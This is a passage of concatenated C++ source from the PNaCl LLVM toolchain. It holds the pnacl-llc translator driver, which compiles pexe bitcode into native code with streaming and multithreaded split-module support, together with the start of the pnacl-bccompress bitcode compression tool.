ActionTableIDMapType ActionTableIDMap;
// Data for populating __pnacl_eh_filter_table[], which is an array
// of integers.
SmallVector<Constant *, 10> FilterTableData;
// Get the interned ID for an action.
unsigned getIDForClauseListNode(unsigned ClauseID, unsigned NextClauseListID);
// Get the clause ID for a "filter" clause.
unsigned getIDForFilterClause(Value *Filter);
public:
explicit ExceptionInfoWriter(LLVMContext *Context);
// Get the interned type ID (a small integer) for a C++ exception type.
unsigned getIDForExceptionType(Value *Ty);
// Get the clause list ID for a landingpad's clause list.
unsigned getIDForLandingPadClauseList(LandingPadInst *LP);
// Add the exception info tables to the module.
void defineGlobalVariables(Module *M);
};
}
#endif
<file_sep>/tools/pnacl-llc/pnacl-llc.cpp
//===-- pnacl-llc.cpp - PNaCl-specific llc: pexe ---> nexe ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// pnacl-llc: the core of the PNaCl translator, compiling a pexe into a nexe.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/Triple.h"
#include "llvm/Analysis/NaCl.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Bitcode/ReaderWriter.h"
#include "llvm/CodeGen/CommandFlags.h"
#include "llvm/CodeGen/LinkAllCodegenComponents.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Verifier.h"
#include "llvm/IRReader/IRReader.h"
#include "llvm/MC/SubtargetFeature.h"
#include "llvm/Pass.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/DataStream.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/FormattedStream.h"
#include "llvm/Support/Host.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/SourceMgr.h"
#include "llvm/Support/StreamingMemoryObject.h"
#include "llvm/Support/TargetRegistry.h"
#include "llvm/Support/TargetSelect.h"
#include "llvm/Support/ToolOutputFile.h"
#include "llvm/Analysis/TargetLibraryInfo.h"
#include "llvm/Target/TargetMachine.h"
#include "llvm/Target/TargetSubtargetInfo.h"
#include "llvm/Transforms/NaCl.h"
#include "ThreadedFunctionQueue.h"
#include "ThreadedStreamingCache.h"
#include <cstdio>
#include <pthread.h>
#include <memory>
using namespace llvm;
// NOTE: When PNACL_BROWSER_TRANSLATOR is defined it means pnacl-llc is built
// as a sandboxed translator (from pnacl-llc.pexe to pnacl-llc.nexe). In this
// mode it uses SRPC operations instead of direct OS intefaces.
#if defined(PNACL_BROWSER_TRANSLATOR)
int srpc_main(int argc, char **argv);
int getObjectFileFD(unsigned index);
DataStreamer *getNaClBitcodeStreamer();
fatal_error_handler_t getSRPCErrorHandler();
#endif
cl::opt<NaClFileFormat>
InputFileFormat(
"bitcode-format",
cl::desc("Define format of input file:"),
cl::values(
clEnumValN(LLVMFormat, "llvm", "LLVM file (default)"),
clEnumValN(PNaClFormat, "pnacl", "PNaCl bitcode file"),
clEnumValEnd),
#if defined(PNACL_BROWSER_TRANSLATOR)
cl::init(PNaClFormat)
#else
cl::init(LLVMFormat)
#endif
);
// General options for llc. Other pass-specific options are specified
// within the corresponding llc passes, and target-specific options
// and back-end code generation options are specified with the target machine.
//
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<input bitcode>"), cl::init("-"));
// Primary output filename. If module splitting is used, the other output files
// will have names derived from this one.
static cl::opt<std::string>
MainOutputFilename("o", cl::desc("Output filename"), cl::value_desc("filename"));
// Using bitcode streaming allows compilation of one function at a time. This
// allows earlier functions to be compiled before later functions are read from
// the bitcode but of course means no whole-module optimizations. This means
// that Module passes that run should only touch globals/function declarations
// and not function bodies, otherwise the streaming and non-streaming code
// pathes wouldn't emit the same code for each function. For now, streaming is
// only supported for files and stdin.
static cl::opt<bool>
LazyBitcode("streaming-bitcode",
cl::desc("Use lazy bitcode streaming for file inputs"),
cl::init(false));
static cl::opt<bool>
PNaClABIVerify("pnaclabi-verify",
cl::desc("Verify PNaCl bitcode ABI before translating"),
cl::init(false));
static cl::opt<bool>
PNaClABIVerifyFatalErrors("pnaclabi-verify-fatal-errors",
cl::desc("PNaCl ABI verification errors are fatal"),
cl::init(false));
static cl::opt<bool>
NoIntegratedAssembler("no-integrated-as", cl::Hidden,
cl::desc("Disable integrated assembler"));
// Determine optimization level.
static cl::opt<char>
OptLevel("O",
cl::desc("Optimization level. [-O0, -O1, -O2, or -O3] "
"(default = '-O2')"),
cl::Prefix,
cl::ZeroOrMore,
cl::init(' '));
static cl::opt<std::string>
UserDefinedTriple("mtriple", cl::desc("Set target triple"));
static cl::opt<bool> NoVerify("disable-verify", cl::Hidden,
cl::desc("Do not verify input module"));
static cl::opt<bool>
DisableSimplifyLibCalls("disable-simplify-libcalls",
cl::desc("Disable simplify-libcalls"));
#if defined(PNACL_BROWSER_TRANSLATOR)
constexpr bool AcceptBitcodeRecordText = false;
#else
static cl::opt<bool>
AcceptBitcodeRecordText(
"bitcode-as-text",
cl::desc(
"Accept textual form of PNaCl bitcode records (i.e. not .ll assembly)"),
cl::init(false));
static cl::opt<bool>
ExitSuccessOnFatalError(
"exit-success-on-fatal-error",
cl::desc(
"exit with success status 0 when reporting fatal errors"),
cl::init(false));
#endif
static cl::opt<unsigned>
SplitModuleCount("split-module",
cl::desc("Split PNaCl module"), cl::init(1U));
enum SplitModuleSchedulerKind {
SplitModuleDynamic,
SplitModuleStatic
};
static cl::opt<SplitModuleSchedulerKind>
SplitModuleSched(
"split-module-sched",
cl::desc("Choose thread scheduler for split module compilation."),
cl::values(
clEnumValN(SplitModuleDynamic, "dynamic",
"Dynamic thread scheduling (default)"),
clEnumValN(SplitModuleStatic, "static",
"Static thread scheduling"),
clEnumValEnd),
cl::init(SplitModuleDynamic));
/// Compile the module provided to pnacl-llc. The file name for reading the
/// module and other options are taken from globals populated by command-line
/// option parsing.
static int compileModule(StringRef ProgramName);
#if !defined(PNACL_BROWSER_TRANSLATOR)
// Reports fatal error message, and then exits with success status 0.
void reportFatalErrorThenExitSuccess(void *UserData,
const std::string &Reason,
bool GenCrashDiag) {
(void)UserData;
(void)GenCrashDiag;
// Note: This code is (mostly) copied from llvm/lib/Support/ErrorHandling.cpp
// Blast the result out to stderr. We don't try hard to make sure this
// succeeds (e.g. handling EINTR) and we can't use errs() here because
// raw ostreams can call report_fatal_error.
llvm::SmallVector<char, 64> Buffer;
llvm::raw_svector_ostream OS(Buffer);
OS << "LLVM ERROR: " << Reason << "\n";
llvm::StringRef MessageStr = OS.str();
ssize_t Written =
std::fwrite(MessageStr.data(), sizeof(char), MessageStr.size(), stderr);
(void)Written; // If something went wrong, we deliberately just give up.
// If we reached here, we are failing ungracefully. Run the interrupt handlers
// to make sure any special cleanups get done, in particular that we remove
// files registered with RemoveFileOnSignal.
llvm::sys::RunInterruptHandlers();
exit(0);
}
static std::unique_ptr<tool_output_file>
GetOutputStream(const char *TargetName,
Triple::OSType OS,
std::string OutputFilename) {
// If we don't yet have an output filename, make one.
if (OutputFilename.empty()) {
if (InputFilename == "-")
OutputFilename = "-";
else {
// If InputFilename ends in .bc or .ll, remove it.
StringRef IFN = InputFilename;
if (IFN.endswith(".bc") || IFN.endswith(".ll"))
OutputFilename = IFN.drop_back(3);
else
OutputFilename = IFN;
switch (FileType) {
case TargetMachine::CGFT_AssemblyFile:
if (TargetName[0] == 'c') {
if (TargetName[1] == 0)
OutputFilename += ".cbe.c";
else if (TargetName[1] == 'p' && TargetName[2] == 'p')
OutputFilename += ".cpp";
else
OutputFilename += ".s";
} else
OutputFilename += ".s";
break;
case TargetMachine::CGFT_ObjectFile:
if (OS == Triple::Win32)
OutputFilename += ".obj";
else
OutputFilename += ".o";
break;
case TargetMachine::CGFT_Null:
OutputFilename += ".null";
break;
}
}
}
// Decide if we need "binary" output.
bool Binary = false;
switch (FileType) {
case TargetMachine::CGFT_AssemblyFile:
break;
case TargetMachine::CGFT_ObjectFile:
case TargetMachine::CGFT_Null:
Binary = true;
break;
}
// Open the file.
std::error_code EC;
sys::fs::OpenFlags OpenFlags = sys::fs::F_None;
if (!Binary)
OpenFlags |= sys::fs::F_Text;
auto FDOut = llvm::make_unique<tool_output_file>(OutputFilename, EC,
OpenFlags);
if (EC) {
errs() << EC.message() << '\n';
return nullptr;
}
return FDOut;
}
#endif // !defined(PNACL_BROWSER_TRANSLATOR)
// main - Entry point for the llc compiler.
//
int llc_main(int argc, char **argv) {
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
// Enable debug stream buffering.
EnableDebugBuffering = true;
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
#if defined(PNACL_BROWSER_TRANSLATOR)
install_fatal_error_handler(getSRPCErrorHandler(), nullptr);
#else
if (ExitSuccessOnFatalError)
llvm::install_fatal_error_handler(reportFatalErrorThenExitSuccess, nullptr);
#endif
// Initialize targets first, so that --version shows registered targets.
InitializeAllTargets();
InitializeAllTargetMCs();
InitializeAllAsmPrinters();
#if !defined(PNACL_BROWSER_TRANSLATOR)
// Prune asm parsing from sandboxed translator.
// Do not prune "AsmPrinters" because that includes
// the direct object emission.
InitializeAllAsmParsers();
#endif
// Initialize codegen and IR passes used by pnacl-llc so that the -print-after,
// -print-before, and -stop-after options work.
PassRegistry *Registry = PassRegistry::getPassRegistry();
initializeCore(*Registry);
initializeCodeGen(*Registry);
initializeLoopStrengthReducePass(*Registry);
initializeLowerIntrinsicsPass(*Registry);
initializeUnreachableBlockElimPass(*Registry);
// Register the target printer for --version.
cl::AddExtraVersionPrinter(TargetRegistry::printRegisteredTargetsForVersion);
// Enable the PNaCl ABI verifier by default in sandboxed mode.
#if defined(PNACL_BROWSER_TRANSLATOR)
PNaClABIVerify = true;
PNaClABIVerifyFatalErrors = true;
#endif
cl::ParseCommandLineOptions(argc, argv, "pnacl-llc\n");
#if defined(PNACL_BROWSER_TRANSLATOR)
// If the user explicitly requests LLVM format in sandboxed mode
// (where the default is PNaCl format), they probably want debug
// metadata enabled.
if (InputFileFormat == LLVMFormat) {
PNaClABIAllowDebugMetadata = true;
}
#else
if (AcceptBitcodeRecordText) {
if (LazyBitcode)
report_fatal_error(
"Can't stream file inputs when reading bitcode records as text");
if (SplitModuleCount != 1)
report_fatal_error(
"Can't split module when using bitcode records as text");
if (InputFileFormat != PNaClFormat)
report_fatal_error(
"Can't parse non-pnacl bitcode files when reading bitcode records"
" as text");
}
#endif
if (SplitModuleCount > 1)
LLVMStartMultithreaded();
return compileModule(argv[0]);
}
static void CheckABIVerifyErrors(PNaClABIErrorReporter &Reporter,
const Twine &Name) {
if (PNaClABIVerify && Reporter.getErrorCount() > 0) {
std::string errors;
raw_string_ostream os(errors);
os << (PNaClABIVerifyFatalErrors ? "ERROR: " : "WARNING: ");
os << Name << " is not valid PNaCl bitcode:\n";
Reporter.printErrors(os);
if (PNaClABIVerifyFatalErrors) {
report_fatal_error(os.str());
}
errs() << os.str();
}
Reporter.reset();
}
#if !defined(PNACL_BROWSER_TRANSLATOR)
// Read in module from bitcode text records in Filename. Returns
// module if successful (using the given Context). Otherwise, return
// error message using Err, and return nullptr. Verbose, if non-null,
// may contain more verbose descriptions of the errors found while
// parsing.
static std::unique_ptr<Module> parseBitcodeRecordsAsText(
StringRef Filename,
SMDiagnostic &Err,
raw_ostream *Verbose,
LLVMContext &Context) {
ErrorOr<Module *> M = parseNaClBitcodeText(Filename, Context, Verbose);
if (!M) {
Err = SMDiagnostic(Filename, SourceMgr::DK_Error, M.getError().message());
return nullptr;
}
std::unique_ptr<Module> Mptr(M.get());
return Mptr;
}
#endif
static std::unique_ptr<Module> getModule(
StringRef ProgramName, LLVMContext &Context,
StreamingMemoryObject *StreamingObject) {
std::unique_ptr<Module> M;
SMDiagnostic Err;
std::string VerboseBuffer;
raw_string_ostream VerboseStrm(VerboseBuffer);
if (LazyBitcode) {
std::string StrError;
switch (InputFileFormat) {
case PNaClFormat: {
std::unique_ptr<StreamingMemoryObject> Cache(
new ThreadedStreamingCache(StreamingObject));
M.reset(getNaClStreamedBitcodeModule(
InputFilename, Cache.release(), Context,
redirectNaClDiagnosticToStream(VerboseStrm), &StrError));
break;
}
case LLVMFormat: {
std::unique_ptr<StreamingMemoryObject> Cache(
new ThreadedStreamingCache(StreamingObject));
ErrorOr<std::unique_ptr<Module>> MOrErr =
getStreamedBitcodeModule(InputFilename, Cache.release(), Context,
redirectNaClDiagnosticToStream(VerboseStrm));
M = std::move(*MOrErr);
break;
}
case AutodetectFileFormat:
report_fatal_error("Command can't autodetect file format!");
}
if (!StrError.empty())
Err = SMDiagnostic(InputFilename, SourceMgr::DK_Error, StrError);
} else {
#if defined(PNACL_BROWSER_TRANSLATOR)
llvm_unreachable("native client SRPC only supports streaming");
#else
if (AcceptBitcodeRecordText) {
M = parseBitcodeRecordsAsText(InputFilename, Err, &VerboseStrm, Context);
} else {
// Parses binary bitcode as well as textual assembly
// (so pulls in more code into pnacl-llc).
M = NaClParseIRFile(InputFilename, InputFileFormat, Err, Context,
redirectNaClDiagnosticToStream(VerboseStrm));
}
#endif
}
if (!M) {
#if defined(PNACL_BROWSER_TRANSLATOR)
report_fatal_error(VerboseStrm.str() + Err.getMessage());
#else
// Err.print is prettier, so use it for the non-sandboxed translator.
Err.print(ProgramName.data(), errs());
errs() << VerboseStrm.str();
return nullptr;
#endif
}
return M;
}
static cl::opt<bool>
ExternalizeAll("externalize",
cl::desc("Externalize all symbols"),
cl::init(false));
static int runCompilePasses(Module *ModuleRef,
unsigned ModuleIndex,
ThreadedFunctionQueue *FuncQueue,
const Triple &TheTriple,
TargetMachine &Target,
StringRef ProgramName,
raw_pwrite_stream &OS){
PNaClABIErrorReporter ABIErrorReporter;
if (SplitModuleCount > 1 || ExternalizeAll) {
// Add function and global names, and give them external linkage.
// This relies on LLVM's consistent auto-generation of names, we could
// maybe do our own in case something changes there.
for (Function &F : *ModuleRef) {
if (!F.hasName())
F.setName("Function");
if (F.hasInternalLinkage())
F.setLinkage(GlobalValue::ExternalLinkage);
}
for (Module::global_iterator GI = ModuleRef->global_begin(),
GE = ModuleRef->global_end();
GI != GE; ++GI) {
if (!GI->hasName())
GI->setName("Global");
if (GI->hasInternalLinkage())
GI->setLinkage(GlobalValue::ExternalLinkage);
}
if (ModuleIndex > 0) {
// Remove the initializers for all global variables, turning them into
// declarations.
for (Module::global_iterator GI = ModuleRef->global_begin(),
GE = ModuleRef->global_end();
GI != GE; ++GI) {
assert(GI->hasInitializer() && "Global variable missing initializer");
Constant *Init = GI->getInitializer();
GI->setInitializer(nullptr);
if (Init->getNumUses() == 0)
Init->destroyConstant();
}
}
}
// Make all non-weak symbols hidden for better code. We cannot do
// this for weak symbols. The linker complains when some weak
// symbols are not resolved.
for (Function &F : *ModuleRef) {
if (!F.isWeakForLinker() && !F.hasLocalLinkage())
F.setVisibility(GlobalValue::HiddenVisibility);
}
for (Module::global_iterator GI = ModuleRef->global_begin(),
GE = ModuleRef->global_end();
GI != GE; ++GI) {
if (!GI->isWeakForLinker() && !GI->hasLocalLinkage())
GI->setVisibility(GlobalValue::HiddenVisibility);
}
// Build up all of the passes that we want to do to the module.
// We always use a FunctionPassManager to divide up the functions
// among threads (instead of a whole-module PassManager).
std::unique_ptr<legacy::FunctionPassManager> PM(
new legacy::FunctionPassManager(ModuleRef));
// Add the target data from the target machine, if it exists, or the module.
if (const DataLayout *DL = Target.getDataLayout())
ModuleRef->setDataLayout(*DL);
// For conformance with llc, we let the user disable LLVM IR verification with
// -disable-verify. Unlike llc, when LLVM IR verification is enabled we only
// run it once, before PNaCl ABI verification.
if (!NoVerify)
PM->add(createVerifierPass());
// Add the ABI verifier pass before the analysis and code emission passes.
if (PNaClABIVerify)
PM->add(createPNaClABIVerifyFunctionsPass(&ABIErrorReporter));
// Add the intrinsic resolution pass. It assumes ABI-conformant code.
PM->add(createResolvePNaClIntrinsicsPass());
// Add an appropriate TargetLibraryInfo pass for the module's triple.
TargetLibraryInfoImpl TLII(TheTriple);
// The -disable-simplify-libcalls flag actually disables all builtin optzns.
if (DisableSimplifyLibCalls)
TLII.disableAllFunctions();
PM->add(new TargetLibraryInfoWrapperPass(TLII));
// Allow subsequent passes and the backend to better optimize instructions
// that were simplified for PNaCl's ABI. This pass uses the TargetLibraryInfo
// above.
PM->add(createBackendCanonicalizePass());
// Ask the target to add backend passes as necessary. We explicitly ask it
// not to add the verifier pass because we added it earlier.
if (Target.addPassesToEmitFile(*PM, OS, FileType,
/* DisableVerify */ true)) {
errs() << ProgramName
<< ": target does not support generation of this file type!\n";
return 1;
}
PM->doInitialization();
unsigned FuncIndex = 0;
switch (SplitModuleSched) {
case SplitModuleStatic:
for (Function &F : *ModuleRef) {
if (FuncQueue->GrabFunctionStatic(FuncIndex, ModuleIndex)) {
PM->run(F);
CheckABIVerifyErrors(ABIErrorReporter, "Function " + F.getName());
F.Dematerialize();
}
++FuncIndex;
}
break;
case SplitModuleDynamic:
unsigned ChunkSize = 0;
unsigned NumFunctions = FuncQueue->Size();
Module::iterator I = ModuleRef->begin();
while (FuncIndex < NumFunctions) {
ChunkSize = FuncQueue->RecommendedChunkSize();
unsigned NextIndex;
bool grabbed =
FuncQueue->GrabFunctionDynamic(FuncIndex, ChunkSize, NextIndex);
if (grabbed) {
while (FuncIndex < NextIndex) {
if (!I->isMaterializable() && I->isDeclaration()) {
++I;
continue;
}
PM->run(*I);
CheckABIVerifyErrors(ABIErrorReporter, "Function " + I->getName());
I->Dematerialize();
++FuncIndex;
++I;
}
} else {
while (FuncIndex < NextIndex) {
if (!I->isMaterializable() && I->isDeclaration()) {
++I;
continue;
}
++FuncIndex;
++I;
}
}
}
break;
}
PM->doFinalization();
return 0;
}
static int compileSplitModule(const TargetOptions &Options,
const Triple &TheTriple,
const Target *TheTarget,
const std::string &FeaturesStr,
CodeGenOpt::Level OLvl,
const StringRef &ProgramName,
Module *GlobalModuleRef,
StreamingMemoryObject *StreamingObject,
unsigned ModuleIndex,
ThreadedFunctionQueue *FuncQueue) {
std::auto_ptr<TargetMachine>
target(TheTarget->createTargetMachine(TheTriple.getTriple(),
MCPU, FeaturesStr, Options,
RelocModel, CMModel, OLvl));
assert(target.get() && "Could not allocate target machine!");
TargetMachine &Target = *target.get();
if (RelaxAll.getNumOccurrences() > 0 &&
FileType != TargetMachine::CGFT_ObjectFile)
errs() << ProgramName
<< ": warning: ignoring -mc-relax-all because filetype != obj";
// The OwningPtrs are only used if we are not the primary module.
std::unique_ptr<LLVMContext> C;
std::unique_ptr<Module> M;
Module *ModuleRef = nullptr;
if (ModuleIndex == 0) {
ModuleRef = GlobalModuleRef;
} else {
C.reset(new LLVMContext());
M = getModule(ProgramName, *C, StreamingObject);
if (!M)
return 1;
// M owns the temporary module, but use a reference through ModuleRef
// to also work in the case we are using GlobalModuleRef.
ModuleRef = M.get();
// Add declarations for external functions required by PNaCl. The
// ResolvePNaClIntrinsics function pass running during streaming
// depends on these declarations being in the module.
std::unique_ptr<ModulePass> AddPNaClExternalDeclsPass(
createAddPNaClExternalDeclsPass());
AddPNaClExternalDeclsPass->runOnModule(*ModuleRef);
AddPNaClExternalDeclsPass.reset();
}
ModuleRef->setTargetTriple(Triple::normalize(UserDefinedTriple));
{
#if !defined(PNACL_BROWSER_TRANSLATOR)
// Figure out where we are going to send the output.
std::string N(MainOutputFilename);
raw_string_ostream OutFileName(N);
if (ModuleIndex > 0)
OutFileName << ".module" << ModuleIndex;
std::unique_ptr<tool_output_file> Out =
GetOutputStream(TheTarget->getName(), TheTriple.getOS(),
OutFileName.str());
if (!Out) return 1;
raw_pwrite_stream *OS = &Out->os();
std::unique_ptr<buffer_ostream> BOS;
if (FileType != TargetMachine::CGFT_AssemblyFile &&
!Out->os().supportsSeeking()) {
BOS = make_unique<buffer_ostream>(*OS);
OS = BOS.get();
}
#else
auto OS = llvm::make_unique<raw_fd_ostream>(
getObjectFileFD(ModuleIndex), /* ShouldClose */ true);
OS->SetBufferSize(1 << 20);
#endif
int ret = runCompilePasses(ModuleRef, ModuleIndex, FuncQueue,
TheTriple, Target, ProgramName,
*OS);
if (ret)
return ret;
#if defined(PNACL_BROWSER_TRANSLATOR)
OS->flush();
#else
// Declare success.
Out->keep();
#endif // PNACL_BROWSER_TRANSLATOR
}
return 0;
}
struct ThreadData {
const TargetOptions *Options;
const Triple *TheTriple;
const Target *TheTarget;
std::string FeaturesStr;
CodeGenOpt::Level OLvl;
std::string ProgramName;
Module *GlobalModuleRef;
StreamingMemoryObject *StreamingObject;
unsigned ModuleIndex;
ThreadedFunctionQueue *FuncQueue;
};
static void *runCompileThread(void *arg) {
struct ThreadData *Data = static_cast<ThreadData *>(arg);
int ret = compileSplitModule(*Data->Options,
*Data->TheTriple,
Data->TheTarget,
Data->FeaturesStr,
Data->OLvl,
Data->ProgramName,
Data->GlobalModuleRef,
Data->StreamingObject,
Data->ModuleIndex,
Data->FuncQueue);
return reinterpret_cast<void *>(static_cast<intptr_t>(ret));
}
static int compileModule(StringRef ProgramName) {
// Use a new context instead of the global context for the main module. It must
// outlive the module object, declared below. We do this because
// lib/CodeGen/PseudoSourceValue.cpp gets a type from the global context and
// races with any other use of the context. Rather than doing an invasive
// plumbing change to fix it, we work around it by using a new context here
// and leaving PseudoSourceValue as the only user of the global context.
std::unique_ptr<LLVMContext> MainContext(new LLVMContext());
std::unique_ptr<Module> MainMod;
Triple TheTriple;
PNaClABIErrorReporter ABIErrorReporter;
std::unique_ptr<StreamingMemoryObject> StreamingObject;
if (!MainContext) return 1;
#if defined(PNACL_BROWSER_TRANSLATOR)
StreamingObject.reset(
new StreamingMemoryObjectImpl(getNaClBitcodeStreamer()));
#else
if (LazyBitcode) {
std::string StrError;
DataStreamer* FileStreamer(getDataFileStreamer(InputFilename, &StrError));
if (!StrError.empty()) {
SMDiagnostic Err(InputFilename, SourceMgr::DK_Error, StrError);
Err.print(ProgramName.data(), errs());
}
if (!FileStreamer)
return 1;
StreamingObject.reset(new StreamingMemoryObjectImpl(FileStreamer));
}
#endif
MainMod = getModule(ProgramName, *MainContext.get(), StreamingObject.get());
if (!MainMod) return 1;
if (PNaClABIVerify) {
// Verify the module (but not the functions yet)
std::unique_ptr<ModulePass> VerifyPass(
createPNaClABIVerifyModulePass(&ABIErrorReporter, LazyBitcode));
VerifyPass->runOnModule(*MainMod);
CheckABIVerifyErrors(ABIErrorReporter, "Module");
VerifyPass.reset();
}
// Add declarations for external functions required by PNaCl. The
// ResolvePNaClIntrinsics function pass running during streaming
// depends on these declarations being in the module.
std::unique_ptr<ModulePass> AddPNaClExternalDeclsPass(
createAddPNaClExternalDeclsPass());
AddPNaClExternalDeclsPass->runOnModule(*MainMod);
AddPNaClExternalDeclsPass.reset();
if (UserDefinedTriple.empty()) {
report_fatal_error("-mtriple must be set to a target triple for pnacl-llc");
} else {
MainMod->setTargetTriple(Triple::normalize(UserDefinedTriple));
TheTriple = Triple(MainMod->getTargetTriple());
}
// Get the target specific parser.
std::string Error;
const Target *TheTarget = TargetRegistry::lookupTarget(MArch, TheTriple,
Error);
if (!TheTarget) {
errs() << ProgramName << ": " << Error;
return 1;
}
TargetOptions Options = InitTargetOptionsFromCodeGenFlags();
Options.DisableIntegratedAS = NoIntegratedAssembler;
Options.MCOptions.AsmVerbose = true;
#if defined(__native_client__)
// This enables LLVM MC to write instruction padding directly into fragments
// reducing memory usage of the translator. However, this could result in
// suboptimal machine code since we cannot use short jumps where possible
// which is why we enable this for sandboxed translator case.
Options.MCOptions.MCRelaxAll = true;
#endif
if (GenerateSoftFloatCalls)
FloatABIForCalls = FloatABI::Soft;
// Package up features to be passed to target/subtarget
std::string FeaturesStr;
if (MAttrs.size()) {
SubtargetFeatures Features;
for (unsigned i = 0; i != MAttrs.size(); ++i)
Features.AddFeature(MAttrs[i]);
FeaturesStr = Features.getString();
}
CodeGenOpt::Level OLvl = CodeGenOpt::Default;
switch (OptLevel) {
default:
errs() << ProgramName << ": invalid optimization level.\n";
return 1;
case ' ': break;
case '0': OLvl = CodeGenOpt::None; break;
case '1': OLvl = CodeGenOpt::Less; break;
case '2': OLvl = CodeGenOpt::Default; break;
case '3': OLvl = CodeGenOpt::Aggressive; break;
}
SmallVector<pthread_t, 4> Pthreads(SplitModuleCount);
SmallVector<ThreadData, 4> ThreadDatas(SplitModuleCount);
ThreadedFunctionQueue FuncQueue(MainMod.get(), SplitModuleCount);
if (SplitModuleCount == 1) {
// No need for dynamic scheduling with one thread.
SplitModuleSched = SplitModuleStatic;
return compileSplitModule(Options, TheTriple, TheTarget, FeaturesStr,
OLvl, ProgramName, MainMod.get(), nullptr, 0,
&FuncQueue);
}
for(unsigned ModuleIndex = 0; ModuleIndex < SplitModuleCount; ++ModuleIndex) {
ThreadDatas[ModuleIndex].Options = &Options;
ThreadDatas[ModuleIndex].TheTriple = &TheTriple;
ThreadDatas[ModuleIndex].TheTarget = TheTarget;
ThreadDatas[ModuleIndex].FeaturesStr = FeaturesStr;
ThreadDatas[ModuleIndex].OLvl = OLvl;
ThreadDatas[ModuleIndex].ProgramName = ProgramName.str();
ThreadDatas[ModuleIndex].GlobalModuleRef = MainMod.get();
ThreadDatas[ModuleIndex].StreamingObject = StreamingObject.get();
ThreadDatas[ModuleIndex].ModuleIndex = ModuleIndex;
ThreadDatas[ModuleIndex].FuncQueue = &FuncQueue;
if (pthread_create(&Pthreads[ModuleIndex], nullptr, runCompileThread,
&ThreadDatas[ModuleIndex])) {
report_fatal_error("Failed to create thread");
}
}
for(unsigned ModuleIndex = 0; ModuleIndex < SplitModuleCount; ++ModuleIndex) {
void *retval;
if (pthread_join(Pthreads[ModuleIndex], &retval))
report_fatal_error("Failed to join thread");
intptr_t ret = reinterpret_cast<intptr_t>(retval);
if (ret != 0)
report_fatal_error("Thread returned nonzero");
}
return 0;
}
int main(int argc, char **argv) {
#if defined(PNACL_BROWSER_TRANSLATOR)
return srpc_main(argc, argv);
#else
return llc_main(argc, argv);
#endif // PNACL_BROWSER_TRANSLATOR
}
<file_sep>/tools/pnacl-bccompress/pnacl-bccompress.cpp
//===-- pnacl-bccompress.cpp - Bitcode (abbrev) compression ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This tool may be invoked in the following manner:
// pnacl-bccompress [options] bcin.pexe -o bcout.pexe
// - Read frozen PNaCl bitcode from the bcin.pexe and introduce
// abbreviations to compress it into bcout.pexe.
//
// Options:
// --help - Output information about command line switches
//
// This tool analyzes the data in bcin.pexe, and determines what
// abbreviations can be added to compress the bitcode file. The result
// is written to bcout.pexe.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClCompress.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/ToolOutputFile.h"
namespace {
using namespace llvm;
static cl::opt<bool>
TraceGeneratedAbbreviations(
"abbreviations",
cl::desc("Trace abbreviations added to compressed file"),
cl::init(false));
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<input bitcode>"), cl::init("-"));
static cl::opt<std::string>
OutputFilename("o", cl::desc("Specify output filename"),
cl::value_desc("filename"), cl::init("-"));
static cl::opt<bool>
ShowValueDistributions(
"show-distributions",
cl::desc("Show collected value distributions in bitcode records. "
"Turns off compression."),
cl::init(false));
static cl::opt<bool>
ShowAbbrevLookupTries(
"show-lookup-tries",
cl::desc("Show lookup tries used to minimize search for \n"
"matching abbreviations. Turns off compression."),
cl::init(false));
static cl::opt<bool>
ShowAbbreviationFrequencies(
"show-abbreviation-frequencies",
cl::desc("Show how often each abbreviation is used. "
"Turns off compression."),
cl::init(false));
// Note: When this flag is true, we still generate new abbreviations,
// because we don't want to add the complexity of turning it off.
// Rather, we simply make sure abbreviations are ignored when writing
// out the final copy.
static cl::opt<bool>
RemoveAbbreviations(
"remove-abbreviations",
cl::desc("Remove abbreviations from input bitcode file."),
cl::init(false));
static bool Fatal(const std::string &Err) {
errs() << Err << "\n";
exit(1);
}
// Reads the input file into the given buffer.
static void ReadAndBuffer(std::unique_ptr<MemoryBuffer> &MemBuf) {
ErrorOr<std::unique_ptr<MemoryBuffer>> ErrOrFile =
MemoryBuffer::getFileOrSTDIN(InputFilename);
if (std::error_code EC = ErrOrFile.getError())
Fatal("Error reading '" + InputFilename + "': " + EC.message());
MemBuf.reset(ErrOrFile.get().release());
if (MemBuf->getBufferSize() % 4 != 0)
Fatal("Bitcode stream should be a multiple of 4 bytes in length");
}
} // namespace
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(argc, argv, "pnacl-bccompress file analyzer\n");
std::unique_ptr<MemoryBuffer> MemBuf;
ReadAndBuffer(MemBuf);
std::error_code EC;
std::unique_ptr<tool_output_file> OutFile(
new tool_output_file(OutputFilename.c_str(), EC, sys::fs::F_None));
if (EC)
Fatal(EC.message());
NaClBitcodeCompressor Compressor;
Compressor.Flags.TraceGeneratedAbbreviations = TraceGeneratedAbbreviations;
Compressor.Flags.ShowValueDistributions = ShowValueDistributions;
